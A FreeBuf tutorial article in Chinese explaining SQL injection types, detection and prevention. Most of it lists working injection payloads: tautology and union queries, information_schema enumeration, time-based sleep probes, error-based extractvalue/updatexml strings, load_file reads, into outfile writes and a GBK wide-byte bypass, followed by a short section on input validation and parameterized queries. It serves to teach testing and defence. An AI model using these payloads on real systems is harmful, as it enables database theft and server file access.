freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SQL注入原理与防范
2022-09-12 17:08:55
所属地 四川省

什么是SQL注入

应用程序在向后台数据库传递SQL查询时,如果为攻击者提供了影响该查询的能力,就会引发SQL注入。

SQL注入形成的条件

  • 用户能控制数据的输入

  • 原本要执行的代码,拼接了用户的输入

SQL注入的分类

  • 注入点类型

    • 数字型

    • 字符型

  • 注入点位置

    • GET注入

    • POST注入

    • Cookie注入

    • 搜索型注入

    • HTTP头注入

  • 页面回显

    • 报错注入

    • 布尔盲注

    • 时间盲注

判断注入漏洞的依据

根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行,如果测试语句被执行了,说明存在注入漏洞。

  1. 构造payload测试语句

  2. 提交请求

  3. 分析返回结果

  4. 符合预期结果则存在SQL注入漏洞

SQL注入漏洞挖掘方式

内联SQL注入

注入一段SQL语句后,原来的语句仍会全部执行。
内联注入常用测试语句(数字型):

测试字符串变种预期结果
'
触发错误。如果成功,数据库会返回一个错误
value+0value-0成功会返回与原请求相同的结果
value*1value/1成功会返回与原请求相同的结果
1 or 1=11)or(1=1永真条件。成功会返回表中所有的行
value or 1=2value)or(1=2空条件。成功会返回与原请求相同的结果
1 and 1=21)and(1=2永假条件。成功不返回表中任何行
1 or 'ab'='a'+'b'1)or('ab'=a+'b'SQL Server串联’成功会返回与永真条件相同的信息
1 or 'ab'='a''b'1)or('ab'='a''b'MySQL串联’成功会返回与永真条件相同的信息
1 or 'ab'='a'||'b'1)or('ab'='a'||'b'Oracle串联’成功会返回与永真条件相同的信息

其他测试语句

数字型:

  • and 1=1/and 1=2

  • or 1=1/or 1=2

  • +、-、*、/、>、<、<=、>=

  • 1 link 1/1 link 2

  • 1 in(1,2)/1 in(2,3)

字符型:

  • and '1'='1/and '1'='2

  • or '1'='1/or '1'='2

  • +'/+'1、-'0/-'1、>、<、<=、>=

  • 1' link '1/1' link '2

  • 1' in('1')#/'1' in('2')#

终止式SQL注入

攻击者注入一段包含注释符的SQL语句,将原来语句的一部分注释,注释掉的部分语句不会被执行。

SQL Server和Oracle

  • -- 用于单行注释

  • /* */ 用于多行注释

MySQL

  • -- 或---或--+ 用于单行注释

  • # 用于单行注释

  • /* */ 用于多行注释

常见数据库注入

Access

注入猜解过程

  • 猜解表名 and (select)

  • 猜解列名 and (select count(列名) from 表名)>0

  • 猜解字段值长度 and (select len(列名) from 表名 where id=6)>10

  • ASCII逐字解码法猜解字段值 and (select asc(mid(列名,2,1)) from 表名 where id=6)>96

表名和列名只能猜解,需要强大的字典,一般使用工具完成该过程

MySQL

获取元数据

MySQL5.0及以上版本提供了information_schema库,通过它可以访问数据库元数据。

  • select schema_name from information_schema.schemata limit1

  • select table_name from information_schema.tables where table_schema=database() limit 1

  • select column_name from information_schema.columns where table_schema=database() limit 1

union查询

  • union

    • 联合的意思,即把多次查询的结果合并起来

    • 自动去除重复的行,若不想去除,可使用union all

  • 必备条件

    • 所有查询中必须具有相同的结构

    • 对应列的数据类型可以不同但必须兼容

    • 如果为XML数据类型则必须等价

  • 用法举例

    • select id,name,passwd from users union select 1,2,3;

延迟注入

延迟注入通过页面返回的时间来判断,不同的MySQL版本延迟注入的语法也不同。

MySQL>=5.0的可以使用sleep()进行查询
MySQL<5.0的可以使用benchmark()进行查询

  • benchmark()的用法

    • benchmark(查询次数, SQL语句)

    • select benchmark(1000, select * from users);

  • sleep()的用法

    • id=1 and sleep(5) 判断是否存在延迟注入

    • and if(substring(user(),1,4)='root',sleep(5),1) 判断当前用户是否是root用户

    • and if(mid(version(),1,1) like 5,sleep(5),1) 判断MySQL版本是否为5版本

    • and if(ascii(substring(database(),1,4))>100,sleep(5),1) 猜解数据库名

sqlmap --time-sec 延时注入

Base64编码注入

  • 解码

  • 构造语句

  • 编码

  • $id = base64_decode($id)

二阶注入

SQL注入一般可分为一阶注入(普通注入)和二阶注入。

一阶注入发生在一个HTTP请求和响应中,系统对攻击输入立刻反应执行,过程归纳如下:

  1. 攻击者在HTTP请求中提交恶意SQL语句

  2. 应用处理恶意输入,使用恶意输入动态构造SQL语句

  3. 如果攻击实现,在响应中向攻击者返回结构

二阶注入,恶意代码注入到web应用中不会立刻执行,而是存储到后端数据库中,在处理请求时,应用检索到数据库中的恶意代码并利用它动态构造SQL语句,实现攻击。过程归纳如下:

  1. 攻击者在HTTP请求中提交恶意代码

  2. 将恶意代码存入数据库中

  3. 攻击者提交第二个HTTP请求

  4. 为处理第二个HTTP请求,应用检索存储在后端数据库中的恶意代码,动态构造SQL语句

  5. 若攻击实现,在第二个请求的响应中向攻击者返回结构

文件读写

  • load_file()函数读文件操作

    • 必备条件:

      • 文件必须在服务器上

      • 知道站点物理路径

      • MySQL用户对文件有读写权限

      • load_file()函数操作文件的当前目录是@@datadir(即数据库存储路径)

      • 文件大小必须小于max_allowed_packet,@@max_allowed_packet的默认大小是16M,最大为1G

    • SQL语句如下:

      • union select 1,load_file('文件路径'),3,4#

      • union select 1,load_file(HEX格式),3,4#

      • union select 1,load_file(char(ASCII码)),3,4#

  • 连接字符串

    • concat():连接一个或多个字符串

      • 格式:concat(str1,str2,...)

      • 举例:select concat(user(),0x2c,database());

    • concat_ws():第一个参数是其他参数的分隔符

      • 格式:concat_ws(separator,str1,str2,...)

        • 举例:select concat_ws(0x2c,user(),database());

    • group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据

      • 举例:select id,group_concat(name) from users;

      • 解释:把name字段的值打印在一行

  • into outfile 写文件操作

    • 必备条件

      • magic_quotes_gpc()=OFF

      • 用户有写文件的权限

      • into outfile不可以覆盖已存在的文件

      • into outfile必须是最后一个查询

      • 知道站点物理路径

    • SQL语句如下:

      • select '内容' into outfile '路径'

      • select char(ASCII码) into outfile '路径'

报错注入

  • 通过extractvalue()函数报错

    • 利用代码:

      • id=1 and extractvalue(1, concat(0x7e,database()));

    • 注意事项:

      • extractvalue()函数有两个参数,第一个参数设为1,第二个参数就是需要爆的数据

  • 通过updatexml()函数报错

    • 利用代码:

      • id=1 and updatexml(1,concat(0x7e,(user()),1)

    • 注意事项:

      • updatexml()函数有三个参数,第一个和第三个参数直接写1即可,第二个参数就是需要爆的数据

宽字节注入

  • 宽字节

    • GB2312、GBK、BIG5、GB18030、Shift_JIS等这些都是常说的宽字节

    • 宽字节实际上是两个字节

    • 宽字节带来的安全问题只有是吃ASCII字符(一字节)的现象

  • 原理

    • %df'被PHP转义(开启GPC、用addslashes函数等),单引号被加上反斜杠\,变成了%df',其中\的十六进制是%5C,导致%df'变成了%df%5c%27,MySQL会认为它是一个宽字节,有了单引号就可以注入了

  • 利用条件

    • 只有GBK编码才会生效

SQL注入的防范

  • 编码阶段:安全编码规范(输入验证、遵循安全SQL编码规范)

  • 测试阶段:代码审计、SQL注入测试等,可手工也可以结合自动工具

  • 部署阶段:数据库安全加固、WEB应用防火墙、IDS/IPS

安全编码

  1. 输入验证

    1. 数字型的输入必须是合法的数字;

    2. 字符型的输入中对 ' 进行特殊处理;

    3. 验证所有的输入点。包括GET,POST,Cookie以及其他HTTP头;

  2. 使用符合规范的数据库访问语句

    1. 正确使用静态查询语句

SQL注入漏洞常见过滤方法

以PHP为例

  • intval、addslashes、mysql_real_escape

  • mysqli_escape_string、mysqli_real_escape_string、mysqli::escape_string

  • PDO::quote

  • 参数化查询

# SQL注入
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录